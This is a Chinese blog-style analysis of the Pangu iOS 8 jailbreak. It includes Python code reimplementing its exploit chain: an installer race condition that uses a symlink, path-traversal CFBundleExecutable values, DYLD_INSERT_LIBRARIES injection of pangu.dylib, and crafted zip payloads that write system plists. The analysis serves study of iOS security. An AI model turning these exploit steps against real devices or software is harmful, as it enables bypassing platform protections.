盘古越狱原理分析（看清它如何越狱的！）

最近的盘古团队出了ios8.X的越狱工具，无疑是备受国人瞩目的热点~
好的，那么问题来了，盘古工具究竟是怎么使用漏洞进行越狱的呢？
盘古在用户空间主要利用了iOS安装程序的一个漏洞，这里先列出安装一个应用的主要过程：

 
整个安装过程分为12个阶段，上图只是列出了起点、终点还是对盘古越狱来说比较重要的阶段。大家注意上图红线所示的时间区间，在这个区间内如果在“Staging Directory”中创建一个符号链接指向沙盒之外，就可以利用解压程序向系统目录写入文件。同时也可以通过控制压缩包中的文件列表，在起始处放一个大文件，从而在解压过程中创建一个符号链接。这是在盘古在安装过程中利用的主要漏洞，后面介绍的盘古在用户空间的行为基本都是围绕这个漏洞。
主要的组件
盘古主要由四部分组成，：
1、桌面程序：提供资源，控制越狱流程。
2、com.pangu.ipa1.ipa：Socket Server，与桌面程序配合制造竞态条件。
3、pangu.dylib，Socket Server，利用内核漏洞安装Untecher，Cydia等。
4、pangu.tar，Untecher
这里主要涉及的是前两个组件，及第三个组件中用户空间相关的部分。
工作流程
说明：为了验证自己的分析是正确的，用Python重新实现了盘古桌面程序的功能，利用盘古的Payload可以实现越狱，下面会在主要阶段给出相应示例代码。
阶段一：安装辅助程序，获取相关资源
1、安装com.pangu.ipa1.ipa

複製代碼

def install_pangu():
    lockdown = LockdownClient()
    afc = AFCClient(lockdown)
    mci = lockdown.startService(\\"com.apple.mobile.installation_proxy\\")

    file_name = \\"com.pangu.ipa1.ipa\\"
    afc.set_file_contents(\\"/PublicStaging/\\" + file_name, open(\\"payload/\\" + file_name,\\"rb\\").read())
    mci.sendPlist({\\"Command\\":\\"Install\\", \\"PackagePath\\": \\"/PublicStaging/\\" + file_name})
    while True:
        status =  mci.recvPlist()
        if not status:
            break
        completion = status.get(\\"PercentComplete\\")
        if completion:
            print \\"Installing, %s: %s %% Complete\\" % (\\"com.pangu.ipa1.ipa\\", status[\\"PercentComplete\\"])
        if status.get(\\"Status\\") == \\"Complete\\":
            print \\"Installation %s\n\\" % status[\\"Status\\"]
            break
    mci.close()
    afc.stop_session()
    lockdown.stop_session()

首先利用AFC服务将IPA传到设备上，然后利用 Installation Proxy 安装应用。
2、获取Cache

複製代碼

def download_caches():
    fc = FileRelayClient()
    data = fc.request_sources([\\"Caches\\"])
    fc.stop_session()
    if data:
        file_path = \\"./payload/caches.gz\\"
        output_path = \\"./payload/caches\\"
        open(file_path,\\"wb\\").write(data)
        print  \\"Data saved to:  %s \\" % file_path
        with open(file_path, \\"r\\") as f:
            gz = gzip.GzipFile(mode=\\"rb\\", fileobj=f)
            cpio = CpioArchive(fileobj=BytesIO(gz.read()))
            cpio.extract_files(files=None,outpath=output_path)
    else:
        print \\"Fail to get caches\\"
        raise Exception(\\"Fail to get caches\\")

调用 FileRelay 服务，获取Cache，主要是从中拿到com.apple.mobile.installation.plist
3、修改 com.apple.mobile.installation.plist修改是针对盘古程序的，具体修改如下：

複製代碼

CFBundleExecutable = \\"../../../../../../usr/libexec/lockdownd\\";
EnvironmentVariables = { DYLD_INSERT_LIBRARIES = \\"/private/var/mobile/Media/Pangu-Install/pangu.dylib\\"; };

4、修改盘古程序的Info.plist

複製代碼

CFBundleExecutable = \\"../../../../../../usr/libexec/lockdownd\\";

5、构造applicationState.plist

複製代碼

{ \\"com.pangu.ipa1\\" = { SBApplicationAutoLaunchForVoIP = :true; }; }

这个会造成盘古程序在设备重启后自动运行。
6、com.apple.LaunchServices-056.csstore 主要是为了更新程序列表
7、com.apple.backboardd.plist 禁用“看门狗”
基于上述文件盘古会构造三个Payload。

複製代碼

def generate_upgrade_bundle1():
    guid_str = get_guid()
    with ZipFile(\\"./payload/upgrade1.zip\\", \\"w\\") as payload:
        payload.write(\\"./payload/upgrade_bundle/bigfile\\", \\"/tmp/bigfile\\")
        payload.write(\\"./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore\\", \\"/mobile/Library/Caches/com.apple.LaunchServices-056.csstore\\")
        payload.write(\\"./payload/upgrade_bundle/com.apple.mobile.installation.plist\\", \\"/mobile/Library/Caches/com.apple.mobile.installation.plist\\")
        payload.write(\\"./payload/upgrade_bundle/applicationState.plist\\", \\"/mobile/Library/BackBoard/applicationState.plist\\")
        payload.write(\\"./payload/upgrade_bundle/com.apple.backboardd.plist\\", \\"/mobile/Library/Preferences/com.apple.backboardd.plist\\")
        payload.write(\\"./payload/upgrade_bundle/Info.plist\\", \\"/mobile/Applications/\\" + guid_str + \\"/ipa1.app/Info.plist\\")

def generate_upgrade_bundle2():
    # os.remove(\\"./payload/upgrade2.zip\\")
    guid_str = get_guid()
    with ZipFile(\\"./payload/upgrade2.zip\\", \\"w\\") as payload:
        payload.write(\\"./payload/upgrade_bundle/bigfile\\", \\"/tmp/bigfile\\")
        payload.write(\\"./payload/upgrade_bundle/com.apple.mobile.installation.plist\\", \\"/mobile/Library/Caches/com.apple.mobile.installation.plist\\")

def generate_upgrade_bundle3():
    # os.remove(\\"./payload/upgrade3.zip\\")
    guid_str = get_guid()
    with ZipFile(\\"./payload/upgrade3.zip\\", \\"w\\") as payload:
        payload.write(\\"./payload/upgrade_bundle/bigfile\\", \\"/tmp/bigfile\\")
payload.write(\\"./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore\\", \\"/mobile/Library/Caches/com.apple.LaunchServices-056.csstore\\")

这个阶段会知道三个程序升级包，供下一阶段使用。
另外，可以简单的理解为：执行完这个阶段就对应着盘古提示用户在手机上启动程序。
阶段二：利用竞态条件安装文件，构造环境执行pangu.dylib
当用户在手机上启动程序后，手机上的App会启动一个Socket Server，等待桌面程序的握手，这个握手的暗语挺有意思。桌面向App发送：PING，App收到后回应桌面：PONG。在握手完成后，盘古开始利用静态条件将如上构造的三个Payload安装到手机上。
具体过程为首先利用安装服务安装升级包，在安装的过程中桌面向App发送starthook，具体hook的内容可以通过调试App确定是创建一个符号链接：

複製代碼

\\"/private/var/tmp/install_staging.eP7ZzJ/foo_extracted\\" ---> \\"/var/\\"

其中后缀部分会因为每次安装而不同。
示例代码：

複製代碼

def fire_race_condition(lockdown, file_name):
    mci = lockdown.startService(\\"com.apple.mobile.installation_proxy\\")
    sock = get_sock()
    print \\"----->PING\\"
    sock.send(\\"PING\\")
    msg = sock.recv(4)
    if msg == \\"PONG\\":
        print \\"<-----PONG\n\\"
    upgrade_pangu(mci, file_name)
    print \\"----->starthook\\"
    sock.send(\\"starthook\\")
    msg = sock.recv(4)
    if msg == \\"succ\\":
        print \\"<-----success\n\\"
    else:
        print \\"<-----fail\n\\"

在完成安装三个Payload之后，盘古会上传文件到Media中的 Pangu-Install目录：
    Cydia.tar
    packagelist.tar
    pangu.dylib
    pangu.tar
    pangu_ex.tar
至此，盘古基本完成了用户空间的行为，在界面上的反应为：盘古会第一次重启设备。
阶段三：利用漏洞安装Untecher，Cydia
设备重启完成后，pangu.dylib会被加载，并启动一个 Socket Server。桌面程序在检测到设备加载后会向 pangu.dylib 发送：55AA，pangu.dylib 接到 55AA后开始安装Untecher、Cydia。
阶段四：清理
在pangu.dylib完成工作后，向桌面程序发送：AA55，桌面程序开始清理临时文件，删除Provisional文件，恢复设备时间等操作。在完成清理操作后，桌面程序会第二次重启设备，至此越狱完成。